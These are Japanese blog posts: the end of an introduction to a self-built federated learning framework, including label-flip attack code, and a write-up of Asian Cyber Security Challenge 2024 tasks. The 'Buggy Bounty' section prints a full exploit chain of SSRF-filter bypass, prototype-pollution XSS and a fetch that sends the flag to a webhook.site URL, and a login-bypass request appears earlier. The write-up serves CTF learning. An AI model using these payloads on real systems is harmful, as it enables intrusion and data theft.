    weight_avg: dict[str, torch.Tensor] = copy.deepcopy(local_weights[0])

    # Iterate over each key in the weight dictionary
    for weight_key in weight_avg.keys():
        # Sum the corresponding weights from all models starting from the second one
        for weight_i in range(1, len(local_weights)):
            weight_avg[weight_key] += local_weights[weight_i][weight_key]
        # Divide the summed weights by the number of models to get the average
        weight_avg[weight_key] = torch.div(
            weight_avg[weight_key], len(local_weights)
        )

    # Return the averaged weights
    return weight_avg

ClientUpdate(k, w)

  • クライアントの持つデータ Pk をサイズ B で分割する
  • E 回以下の処理を行う
    • ミニバッチ b を用いて以下の処理を行う
      • ミニバッチ勾配降下法 w := w - η∇l(w; b) でモデルを更新する
  • w を Server に送信する

FutabatedLearning での実装は以下のとおりです.

class LocalUpdate(object):
    (snip)
    # Perform local training and update weights
    def update_weights(
        self, model: nn.Module, global_round: int
    ) -> tuple[dict[str, torch.Tensor], float]:
        # Set the model to training mode
        model.train()
        epoch_loss: list[float] = []

        # Initialize an optimizer based on the selected configuration
        optimizer: torch.optim.Optimizer
        if self.cfg.train.optimizer == "sgd":
            optimizer = torch.optim.SGD(
                model.parameters(), lr=self.cfg.train.lr, momentum=0.5
            )
        elif self.cfg.train.optimizer == "adam":
            optimizer = torch.optim.Adam(
                model.parameters(), lr=self.cfg.train.lr, weight_decay=1e-4
            )

        # Iterate over the local epochs
        for iter in range(self.cfg.train.local_epochs):
            batch_loss: list[float] = []
            # Loop over the training data batches
            for batch_idx, (images, labels) in enumerate(self.trainloader):
                # Move batch data to the computing device
                images, labels = images.to(self.device), labels.to(self.device)

                # Reset gradients to zero
                model.zero_grad()
                # Forward pass
                log_probs = model(images)
                # Calculate loss
                loss = self.criterion(log_probs, labels)
                # Backward pass
                loss.backward()
                # Update weights
                optimizer.step()

                # Add loss to the logger
                mlflow.log_metric(
                    f"loss-client{self.client_id}",
                    loss.item(),
                    step=global_round,
                )
                # Add the current loss to the batch losses list
                batch_loss.append(loss.item())
            # Compute average loss for the epoch
            epoch_loss.append(sum(batch_loss) / len(batch_loss))

        # Return the updated state dictionary of the model and the average loss for this round
        weight: dict[str, torch.Tensor] = model.state_dict()
        # Calculate the average loss from the collected epoch losses.
        average_loss: float = sum(epoch_loss) / len(epoch_loss)

        return weight, average_loss

データセット

筆者は自然言語処理分野やテーブルデータには疎いので,主に画像認識分野で使われるデータセットの紹介になります.

有名どころでは,CIFAR-10 / CIAFR-100 *6,MNIST*7,EMNIST*8 が非常によく使われています.ImageNet*9,COCO*10 などの画像認識分野で著名な大規模データセットはほとんど見かけない印象です.

www.cs.toronto.edu

上記のデータセットは一般的な画像認識で利用可能なデータセットになりますが,連合学習用のデータセットとして,FEMNIST や CelebA*11 が存在しており,これらもよく使われています.

FEMNIST や CelebA は CMU から出されている LEAF*12 という連合学習用のベンチマーキングフレームワークにまとまっています.

leaf.cmu.edu

LEAF が提供するデータセット名とそのタスクは以下のとおりです.

  • FEMNIST: Image Classification
  • Sentiment140: Sentiment Analysis
  • Shakespeare: Next-Character Prediction
  • CelebA: Image Classification (Smiling vs. Not smiling)
  • Synthetic Dataset: Classification
  • Reddit: Next-word Prediction

昨年 LEAF の導入記事を公開したので,併せてご覧ください.

01futabato10.hateblo.jp

IID vs Non-IID

今紹介した FEMINST を略さずに表現すると,Federated Extended MNIST になります. Federated Learning 用のデータセットとは,どのような意味合いになるのでしょうか.

連合学習の文脈では,扱うデータセットは IID と Non-IID の2つに分類されます. IID とは,Independently and Identically Distributed data の略で,統計学や確率論におけるデータの性質を表すのに使われる用語です.

理想的なデータの分布から考えてみましょう.

理想的なデータの分布は「連合学習に参加する全クライアントのラベルの分布が一致していること」になります. このようなデータの環境は IID に従うデータセットと表現されます.
IID に従うデータセットを作成するには,単に MNIST のような既存のデータセットをクライアントの数で割り,ラベルの分布も一様に分散させてやればよいので,実験環境としては比較的容易に準備することができると考えられます.

しかし現実的なデータセットを考えると,IID のような理想的なケースにはならないことがほとんどであると考えられます.
クライアント毎に所持するデータの量やラベルの分布が異なるだけでなく,データの品質も異なるでしょう.実行時の特性も異なるかもしれません.
このようなデータの環境は Non-IID に従うデータセットと表現されます.

Non-IID に従うデータセットを扱うということは,各クライアント上で学習される個々のモデルの重みには大きな違いが発生するため,FedAVG のような単純な集約手法では良いグローバルモデルを得ることが難しくなることが考えられます.
このため,連合学習では Non-IID の訓練データを持つクライアントの多様性を考慮しながら学習を進めていく必要があります.

実運用の連合学習では基本的に Non-IID に従うデータを扱うことになるため,ファーストステップとして IID に従うデータでうまくいく研究をすることがまず重要ですが,実社会への適用を目指すには Non-IID に従うデータセットにも対応していく必要があります.

評価

もちろん連合学習が解くタスクによって評価指標は変わりますが,論文を見ている限り多いのはまず Accuracy です.
タスクによっては,F1-Score や Precision, Recall を利用しているものもありますが,CIFAR-10 などの一般的なデータの場合には Accuracy が使われます.

さらに連合学習で性能を測る場合,精度さえ算出できればよいというわけでもなく,計算効率・通信効率・安全性を評価していく必要があります.

計算効率や通信効率は,1ラウンドあたりにかかる時間や,ある地点における時間やラウンド数で評価します.
安全性は,のちに紹介する攻撃手法の攻撃の成功率で評価します.

さまざまな角度で議論する必要があるため,網羅的に評価できる指標を作るのはとても難しい印象があります.

セキュリティの問題

連合学習のプロトコルはまだまだ発展途上です.
プライバシーに配慮した学習手法であるために学習にかかる時間は一般的な学習手法に比べると長くなってしまいます.
コミュニケーションコストを抑えつつも効率的にグローバルモデルを収束させる研究が盛り上がっている一方で、連合学習におけるセキュリティの問題も多く研究されています.

連合学習の抱えるセキュリティの問題は大きく2つ,プライバシー保証の問題とロバスト性保証の問題があります.

プライバシー保証の問題

プライバシー保証の問題とは,「クライアントが送信した情報から学習データは漏洩しないのか?」という問題です.

学習に利用するデータセットは各クライアントが所持し,学習した結果のみをサーバへ送るため,連合学習はプライバシーに配慮した学習手法であるとされていますが,クライアントが送信した情報から学習データを復元・盗取する Model Inversion Attack*13 と呼ばれる攻撃手法が存在します.その他の攻撃手法として,あるデータがデータセットに含まれているかを特定するメンバーシップ推論 (Membership Inference)*14 も有名です.

現状ではデータが漏洩しないことを理論的に保証する差分プライバシー (Differental Privacy) 技術や,準同型暗号 (Homomorphic Encryption) や MPC(Multi-Party Computation),TEE を利用して暗号化によって盗聴されても情報が漏洩されない仕組みを用いることが代表的な防御手法として挙げられます.
また,クライアントからの個別の情報を漏洩させずに集約する手法は,Secure Aggregation と呼ばれます.

ロバスト性保証の問題

ロバスト性保証の問題とは,「学習の収束が妨害されてもうまく学習が回るのか?」という問題です.

連合学習はプライバシーに配慮した学習手法であるため,サーバはクライアントが提示する情報が本物であるかを確認する術はありません.
学習に参加している一部のクライアントが悪意を持って実際の学習結果と異なる情報をサーバへ送信した場合,グローバルモデルの収束が妨害され,連合学習全体が崩壊してしまいます.
このような攻撃手法はビザンチン攻撃 (Byzantine Attack) と呼ばれ,実際に FedAVG のような線形結合で集約する手法は,攻撃者に集約された勾配の完全な制御を与えるということが指摘されています.*15

Byzantine Attack

基本的な防御手法は異常値除去処理です.
一部のクライアントが異常な行動をしても全体としてうまく処理が続けられる頑健性のことをビザンチン耐障害性 (Byzantine Fault Tolerance)*16 と呼ばれ,連合学習にビザンチン耐障害性をどのように組み込むかという研究がされています.

オープンソースプロジェクト

最後に,連合学習のオープンソースプロジェクトをいくつか紹介します.

TFF

www.tensorflow.org

github.com

Flower

flower.dev

IBM Federated Learning

ibmfl.res.ibm.com

github.com

PySyft

github.com

Fate

fate.fedai.org

github.com

FedML

doc.fedml.ai

github.com

FedLab

fedlab.readthedocs.io

github.com


FutabatedLearning の紹介

さて,自作の連合学習フレームワーク『FutabatedLearning』の話に移ります.
FutabatedLearning は,Researcher Experience の高いシステムを目指して開発している連合学習のフレームワークです.
名前は完全に見た目が FederatedLearning っぽいという理由でつけました.口に出したときの語感も好きです.

Flower をはじめとする連合学習フレームワークは非常によくできていて,すぐにでも実用に向けた実験ができるかもしれません.しかしセキュリティの実験を行うにはやや壮大で,私は追いきれませんでした.
実験者はどこでどんな処理が行われているのかを把握できている必要があると考えており,全体像を把握しきれる程度の規模であることが重要だと考えました.

また,実験管理ツールを導入することでコードの再利用性を最大化しつつ,定型的なプロセスは自動化することで,高速な仮説検証サイクルを回せられるということを目標としています.
これを冒頭で Researcher Experience の高いシステムと表現しました.

実験管理には OSS の MLOps ツールである MLflowHydra を利用しています.

以前『MLflowとHydraを利用した実験管理』という資料を作成したので,MLflow と Hydra の基本的な使い方についてはこちらも併せてご覧ください.

speakerdeck.com

実験の実行方法

まず,以下のコマンドを実行することで実験が開始されます.

python src/federatedlearning/main.py

このときの実験の設定は,config ディレクトリ配下にある4つの YAML ファイルが参照され,その値が実験に使用されます.

config/default.yaml は親元の設定ファイルで,config/mlflow/default.yaml, config/train/default.yaml, config/federatedlearning/default.yaml を参照するように設定してあります.

defaults:
  - mlflow: default
  - train: default
  - federatedlearning: default

この親元の設定ファイルは基本的に変更する必要はなく,子である3つの設定ファイルを変更することで,コードを再利用しながら実験できます.
各設定ファイルの大まかな役割としては以下のとおりです.

  • config/mlflow/default.yaml: MLflow の experiment_namerun_name の設定
  • config/train/default.yaml: クライアントが学習に利用するハイパーパラメータ
  • config/federatedlearning/default.yaml: 連合学習で使用するハイパーパラメータ

ArgumentParser を使用していないので,複雑な設定であってもスッキリした実行コマンドになります.

python src/federatedlearning/main.py

コマンドラインから設定を上書きした状態で実行することも可能で,以下のような書き方をすればその実験のときのみ規定値を上書きして実行できます. なお,上書きした部分の設定は outputs/.hydra/overrides.yaml として記録されます.

python src/federatedlearning/main.py \
    mlflow.run_name=exp001 \
    federatedlearning.num_byzantines=0 federatedlearning.num_clients=10

また,Optuna によるブラックボックス最適化もできるようにしています.

オプション --multirun を付与して実行すると,設定された範囲の値の中で精度を最大化 / 最小化するパラメータの探索が行われます.

python src/federatedlearning/main.py \
    --multirun 'federatedlearning.num_byzantines=range(8,13)'

Optuna の設定は,親元の設定ファイル config/default.yaml にある sweeper で設定されている値が参照されます.

  sweeper:
    direction: minimize
    study_name: Byzantine-Resilient Federated Learning
    storage: null
    n_trials: 5
    n_jobs: 1
    sampler:
      seed: 42

directionminimize であれば src/federatedlearning/main.pymain 関数を最小化,maximize であれば main 関数を最大化するように最適化されます.

実験が終わると,MLflow に記録された実験データを用いて可視化,検索,実験同士の比較ができるようになっています.
どのような設定でどのくらい精度が出たのかを実験管理できるのはかなり重宝します.
MLflow の WebUI を起動するコマンドは以下のとおりです.ポート 5000 番を使用します.

mlflow ui

ベースライン実験

FutabatedLearning は Communication-Efficient Learning of Deep Networks from Decentralized Data という論文のバニラ実装から派生させています.
つまり,基本的なアルゴリズムで紹介した FedAVG をベースラインとして実験が可能です.

ハイパーパラメータは可能な限り元の実装に近づけており,以下の設定で,CNN を使って IID に従う MNIST データセットを学習した結果は Accuracy 0.9703 でした.

# local batch size: B
local_batch_size: 10
# learning rate
lr: 0.01
# the number of local epochs: E
local_epochs: 10
# type of optimizer
optimizer: "sgd"
# number of users: K
num_clients: 100
# the fraction of clients: C
frac: 0.1
# number of rounds of training
rounds: 10

ベースライン実験

ビザンチン攻撃

連合学習が抱えるセキュリティの問題の1つである,ロバスト性保証の問題について,ビザンチン攻撃をやってみましょう.
ビザンチン攻撃の一種であるラベルフリップ攻撃 (Label-flip Attack) は極めてシンプルで,ミニバッチから取り出したラベルの情報 label9 - label と Index をずらします.
ラベルフリップ攻撃は,攻撃者がデータセットの中身を知らなくてもラベルの Index を操作するだけで攻撃ができるという攻撃者にとってのメリットがあります.

def labelflip_attack(label: torch.Tensor) -> torch.Tensor:
    """label-flipping failure

    Args:
        label (torch.Tensor): label tensor

    Returns:
        torch.Tensor: flipped label tensor
    """
    return torch.Tensor(9 - label)

ベースライン実験に num_byzantines というパラメータを追加(規定値は0)し,全クライアントのうちの 60% がラベルフリップ攻撃をしてきたときの実験を行います.

# number of users: K
num_clients: 100
# the fraction of clients: C
frac: 0.1
# number of faulty workers
num_byzantines: 60

ラウンドごとに選ばれるクライアントが変わるので同じ条件でも乱数によって結果が変わることが想定されますが,結果は Accuracy 0.0057 となりました.

ラベルフリップ攻撃

ベースライン実験とこのラベルフリップ攻撃をした実験の比較を行ってみましょう.
MLflow は直感的な操作で可視化,検索,実験同士の比較ができるようになっています.

実験の比較 - Training Loss

実験の比較 - Training Accuracy

実験の比較 - パラメータの違い

おわりに

本稿は,自作連合学習フレームワーク『FutabatedLearning』の紹介記事でした.
自作の実験環境によって自由な問題設定で実験を行うことができました.また,MLOps ツールを導入していることによって効率的な実験管理を実現しています.
今後は攻撃手法や防御(集約)手法の実装を増やして FutabatedLearning を拡張するとして,どうすれば Researcher Experience の高いシステムになるのだろうかと考えています.
はじめてのプレスリリース記事でした.

*1:Konečný, Jakub, et al. "Federated optimization: Distributed machine learning for on-device intelligence." arXiv preprint arXiv:1610.02527 (2016).

*2:Yang, Qiang, et al. "Federated machine learning: Concept and applications." ACM Transactions on Intelligent Systems and Technology (TIST) 10.2 (2019): 1-19.

*3:https://eur-lex.europa.eu/eli/reg/2016/679/oj

*4:https://www.ppc.go.jp/files/pdf/200612_houritsu.pdf

*5:McMahan, Brendan, et al. "Communication-efficient learning of deep networks from decentralized data." Artificial intelligence and statistics. PMLR, 2017.

*6:Krizhevsky, Alex, and Geoffrey Hinton. "Learning multiple layers of features from tiny images." (2009): 7.

*7:LeCun, Yann, et al. "Gradient-based learning applied to document recognition." Proceedings of the IEEE 86.11 (1998): 2278-2324.

*8:Cohen, Gregory, et al. "EMNIST: Extending MNIST to handwritten letters." 2017 international joint conference on neural networks (IJCNN). IEEE, 2017.

*9:Deng, Jia, et al. "Imagenet: A large-scale hierarchical image database." 2009 IEEE conference on computer vision and pattern recognition. Ieee, 2009.

*10:Lin, Tsung-Yi, et al. "Microsoft coco: Common objects in context." Computer Vision–ECCV 2014: 13th European Conference, Zurich, Switzerland, September 6-12, 2014, Proceedings, Part V 13. Springer International Publishing, 2014.

*11:https://mmlab.ie.cuhk.edu.hk/projects/CelebA.html

*12:Caldas, Sebastian, et al. "Leaf: A benchmark for federated settings." arXiv preprint arXiv:1812.01097 (2018).

*13:Fredrikson, Matt, Somesh Jha, and Thomas Ristenpart. "Model inversion attacks that exploit confidence information and basic countermeasures." Proceedings of the 22nd ACM SIGSAC conference on computer and communications security. 2015.

*14:Shokri, Reza, et al. "Membership inference attacks against machine learning models." 2017 IEEE symposium on security and privacy (SP). IEEE, 2017.

*15:Blanchard, Peva, et al. "Machine learning with adversaries: Byzantine tolerant gradient descent." Advances in neural information processing systems 30 (2017).

*16:https://www.oreilly.co.jp/books/9784873118703/

Asian Cyber Security Challenge 2024 Writeup

こんにちは、ふたばとです。

2024年3月30日、31日に開催された Asian Cyber Security Challenge 2024 に参加していました。
昨年まではタイミングが合わなかったのか…、参加した記憶が無いのでおそらく初参加です。

Asian Cyber Secuirty Challenge 2024

[hardware] An4lyz3_1t

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

配布ファイルをダウンロードすると .sal という見たことない拡張子のファイルが用意されていた。

$ file chall.sal
chall.sal: Zip archive data, at least v2.0 to extract

Zip で圧縮されているので解凍すると .bin が出てきた。

$ ls chall
digital-0.bin  digital-2.bin  digital-4.bin  digital-6.bin  meta.json
digital-1.bin  digital-3.bin  digital-5.bin  digital-7.bin
$ file digital-0.bin
digital-0.bin: data

このままでは何もできないので、「CTF salファイル」等で検索すると類題らしき Writeup をいくつか見つけられた。

この問題がその類題であると仮定すると、saleae 社の Logic2 というソフトウェアを使えばよいらしい。

www.saleae.com

Logic2 で chall.sal を開くと以下のような画面になり、Channel 4 に波形データが存在した。
過去の Writeup によると、この波形データをデコードするには Logic2 の async serial 機能を使えばよいとのことである。

Logic2

Input Channel04. Channel 4を選択し、Bit Rate (Bits/s)57600 を入力する。
最も一般的なボーレート(baud rate) は (9600, 14400, 19200, 38400, 57600, 115200) であるらしいので 57600 を入力した。

画面右の Terminal というボタンを押すとデコードされた文字列が出現した。

Async Serial

ACSC{b4by4n4lyz3r_548e8c80e}

[web] Login!

Here comes yet another boring login page ...

問題サーバへアクセスすると、シンプルなログインページが待ち受ける。

Login!

ソースコード app.js の内容は以下のとおりである。

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

ソースコードを読んで気になるのは以下の二点である。

  • if (username.length > 6)
  • user.password == password

USER_DB には user, guest の二種類のデータが用意されており、username=guest&password=guest でログイン可能である。 しかし L41 の条件分岐によって、guest で素直にログインしてしまうと FLAG は得られない。

L41 ではご丁寧に厳密等価演算子が使われているが L40 では使われていないことから暗黙の型変換で user としてなんとかログインすることができないかと考えたが、userpassword はランダムな値なので特定することは現実的でなさそう。

user としてログインすることは難しいため、guest の情報を使ってどうにかする。
L40 の user.password == passwordguestpassword 情報を利用するので、guestusername 情報をどうにかする。意味深な if (username.length > 6) が用意されているので、方針は合っていそうだ。

解決策としては、username を配列にして送信してやればよい。 L6 にて app.use(express.urlencoded({ extended: true })); と設定されていることから、データを配列として解釈してくれるようになっている。

username[]=guest&password=guest としてリクエストを送ると、username.length は1になる。 暗黙の型変換によって USER_DB から guest の情報が取れるようになり、さらに ['guest'] を厳密等価演算子'guest' と比較すると False になるため、条件分岐を搔い潜って FLAG が得られる。

$ node
Welcome to Node.js v20.8.0.
Type ".help" for more information.
> const USER_DB = {
...     guest: {
...         username: 'guest',
...         password: 'guest'
...     }
... };
undefined
> const username = ['guest']
undefined
> username == 'guest'
true
> username === 'guest'
false
> USER_DB[username]
{ username: 'guest', password: 'guest' }
> 
ACSC{y3t_an0th3r_l0gin_byp4ss}

[web] Too Faulty

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

Too Faulty

問題サーバへアクセスすると、同じようにシンプルなログインページが待ち受ける。

初手、何も考えずに {"username":"admin","password":"admin"} でリクエストを送る。

!?!??!?!?!????!?!??!?!

ん~…。またオレ何かやっちゃいました? フラグが得られてしまった。

ACSC{T0o_F4ulty_T0_B3_4dm1n}

[web] Buggy Bounty

Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.

問題サーバへアクセスすると、フォームが用意されている。
適当な情報を入力して、Submit ボタンを押すと、数秒後に Reward が表示される。同じ入力を与えても Reward は毎回異なるランダムな値である。
この画面でそれ以外にできることはなさそうだ。

Bugy Bounty

ソースコードが提供されているので、読んで外観を掴む。

まず、docker-compose.yml を確認すると、bugbountyreward の2つのサービスによって構成されていることがわかる。
docker-compose.yml の設定から、reward サービスへは直接アクセスすることはできず、bugbounty サービスからアクセスする必要があることがわかる。

bugbounty/app/routes/router.js には、/, /triage, /report_bug, /check_valid_url の4つの API エンドポイントが実装されている。 フォームに入力した情報を送信した際に機能しているのは /report_bug で、その中で http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}/triage が使われているのがわかる。
しかし、他のファイルを見ても /check_valid_url が使われていないことがとても気になった。

bugbounty/app/routes/router.js の実装は以下のとおりである。

const { isAdmin, authSecret } = require("../utils/auth.js");
const express = require("express");
const router = express.Router({ caseSensitive: true });
const visit = require("../utils/bot.js");
const request = require("request");
const ssrfFilter = require("ssrf-req-filter");

router.get("/", (req, res) => {
  return res.render("index.html");
});

router.get("/triage", (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }
    let bug_id = req.query.id;
    let bug_url = req.query.url;
    let bug_report = req.query.report;

    return res.render("triage.html", {
      id: bug_id,
      url: bug_url,
      report: bug_report,
    });
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

router.post("/report_bug", async (req, res) => {
  try {
    const id = req.body.id;
    const url = req.body.url;
    const report = req.body.report;
    await visit(
      `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
      authSecret
    );
  } catch (e) {
    console.log(e);
    return res.render("index.html", { err: "Server Error" });
  }
  const reward = Math.floor(Math.random() * (100 - 10 + 1)) + 10;
  return res.render("index.html", {
    message: "Rewarded " + reward + "$",
  });
});

router.get("/check_valid_url", async (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

process.on("uncaughtException", (error) => {
  console.error("Uncaught Exception:", error);
});

process.on("unhandledRejection", (reason, promise) => {
  console.error("Unhandled Rejection at:", promise, "reason:", reason);
});

module.exports = () => {
  return router;
};

次に、/report_bug で使われている visit 関数を追う。
visit 関数は、bugbounty/app/utils/bot.js で実装されており、ソースコードは以下のとおりである。

const visit = async (url, authSecret) => {
  try {
    const browser = await puppeteer.launch(browser_options);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.setCookie({
      name: "auth",
      value: authSecret,
      domain: "127.0.0.1",
    });
    
    await page.goto(url, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });
    await page.waitForTimeout(4000);
    await browser.close();
  } catch (e) {
    console.log(e);
  }
};

また、bugbounty/app/routes/router.js/triage, /check_valid_url には isAdmin 関数を通り抜ける必要がある。
isAdmin 関数は、bugbounty/app/utils/auth.js で実装されており、ソースコードは以下のとおりである。

const authSecret = require("crypto").randomBytes(70).toString("hex");

const isAdmin = (req, res) => {
  return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret;
};

module.exports = {
  authSecret,
  isAdmin,
};

そして、reward サービスには、Dockerfile のほかに app.py のみ用意されている。
ソースコードは以下のとおりで、http://reward:5000/bounty に GET リクエストを送ると FLAG が得られることがわかる。

from flask import Flask
import os

app = Flask(__name__)


@app.route('/bounty', methods=['GET'])
def get_bounty():
    flag = os.environ.get('FLAG')
    if flag:
        return flag


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False)

ここまでの内容を整理すると、bugbounty サービスで動く Bothttp://reward:5000/bounty へアクセスさせることができれば FLAG が得られるということになる。

確かに、docker-compose.yml の設定より、bugbounty サービスから reward サービスへリクエストを送ってみると、FLAG が得られる。

$ docker compose up -d
$ docker compose exec -it bugbounty bash
root@b80d7ff0f11f:/app# curl http://reward:5000/bounty
ACSC{FAKE_FLAG}root@b80d7ff0f11f:/app# 

これを Bot にやらせるイメージだ。
これを実現するために、XSSSSRF脆弱性が存在していると嬉しい。

使われていない /check_valid_url は指定された URL のコンテンツを取得してくれるので、http://reward:5000/bounty の URL を与えて FLAG を持ってきてくれることが期待できる。 しかし /check_valid_url には、ssrf-req-filter が張られており、単純な SSRF はできないように思える。
「ssrf-req-filter bypass」で検索すると、以下の記事がヒットした。

redfishiaven.medium.com

どうやらプロトコルを変えて、HTTPS → HTTP へリダイレクトさせればよいらしい。 記事に沿って、URL を組み立てることで以下の URL が得られた。

https://tellico.fun/redirect.php?target=http://reward:5000/bounty

この URL を /check_valid_url に与えると、reward サービスにアクセスできることが確認できた。

root@b80d7ff0f11f:/app# curl http://reward:5000/bounty
ACSC{FAKE_FLAG}root@b80d7ff0f11f:/app# curl http://127.0.0.1/check_valid_url?url=https://tellico.fun/redirect.php?target=http://reward:5000/bounty
ACSC{FAKE_FLAG}root@b80d7ff0f11f:/app# 

これで ssrf-req-filter を回避してリクエストを送ることができた。

さて、XSS ができないか物色していると、bugbounty/app/views/triage.html では4つの JavaScript ファイルを読み込んでいることに気づく。

    <script
      src="/public/js/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js"
      async
    ></script>
    <script src="/public/js/jquery.min.js"></script>
    <script src="/public/js/arg-1.4.js"></script>
    <script src="/public/js/widget.js"></script>

そして、bugbounty/app/package.json を確認すると request モジュールのみバージョンが指定されていることが気になった。

「"https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.js" cve」で検索すると過去の CTF の Writeup を発見した。
その問題では同じバージョン(ENa21cfed3f06f4ddf9690de8077b39e81)の JavaScript ファイルが使われており、このファイルには Prototype Pollution脆弱性があることがわかる。

github.com

ちなみに、bugbounty/app/public/js/arg-1.4.js を確認してみると、L3 にて arg.js - v1.4 と記述されており、バージョンが指定されていることから脆弱性が存在していると予想できる。

「arg.js - v1.4 vulnerability」で検索すると以下の記事がヒットした。

github.com

args.js v1.4 にも Prototype Pollution の脆弱性が存在しているようだ。

ちなみに2、「request npm v2.88.0 ssrf cve」で検索すると以下のページがヒットした。
CVE-2023-28155 として SSRF の脆弱性が報告されていた。

github.com

request モジュールは bugbounty/app/routes/router.js L65-L74 で使われており、ssrf-req-filter を掻い潜って SSRF するというアプローチは正しそうだ。

    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );

さて、Prototype Pollution の脆弱性を突く PoC は ?__proto__[src]=data:,alert(1)// であったので、このペイロードを用いてアラートが機能するかを確かめてみる。

alert!!

alert(1) の部分を webhook.site へ fetch するように置き換えてやれば、以下の URL によって webhook.site へリクエストが飛ぶことがわかる。

http://localhost/triage?__proto__[src]=data:,fetch(%27https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784%27)//

これにて XSS があることがわかったので、SSRF と組み合わせて FLAG を獲りにいく。

/check_valid_url で取得する http://reward:5000/bounty のコンテンツを webhook.site へ送信する JavaScript のコードは例えば以下のように書ける。

fetch(
  "http://127.0.0.1/check_valid_url?furl=https://tellico.fun/redirect.php?target=http://reward:5000/bounty"
).then(function (response) {
  response.text().then(function (response) {
    fetch("https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784", {
      method: "POST",
      body: response,
    });
  });
});

ローカルの環境で上記のコードを実行すると、webhook.site にダミーの FLAGである ACSC{FAKE_FLAG} の文字列が確認できる。

よって、最終的なペイロードは以下のとおりである。

&__proto__[src]=data:, fetch("http://127.0.0.1/check_valid_url\x3furl\x3dhttps://tellico.fun/redirect.php\x3ftarget\x3dhttp://reward:5000/bounty").then(function(response){response.text().then(function(response){fetch("https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784",{method:"POST",body:response})})})//

なお、?\x3d, =\x3d と変換している。

root@b80d7ff0f11f:/app# node 
Welcome to Node.js v21.7.1.
Type ".help" for more information.
> '\x3f'
'?'
> '\x3d'
'='
> 

id, url, report は単なる文字列なので雑に入力を与えて、ペイロードを載せてリクエストを送ると、webhook.site に FLAG が届けられる。

{"id":"a","url":"a","report":"a&__proto__[src]=data:, fetch(\"http://127.0.0.1/check_valid_url\\x3furl\\x3dhttps://tellico.fun/redirect.php\\x3ftarget\\x3dhttp://reward:5000/bounty\").then(function(response){response.text().then(function(response){fetch(\"https://webhook.site/7f9182d3-4b6c-42b0-b3f8-6a1340d96784\",{method:\"POST\",body:response})})})//"}
ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}

[crypto] RSA Stream2

I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.

問題文そのままに、RSA で Stream 暗号を作ったらしい。

まずは chal_redacted.py の暗号化処理フローを見ていく。

from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{*REDACTED*}"

平文 text__file__ であるから、この chal_redacted.py 自身を暗号化したものが配布ファイルの chal.py.enc であると推測した。
L30 の # flag = "ACSC{*REDACTED*}" は L26 の処理で置き換えられてしまったものであるため、復号アルゴリズムを用いて本来のソースコードを復元することが目標になる。

コードを前から読んでいくと、まず、c が key stream になっているのかなと考えられる。
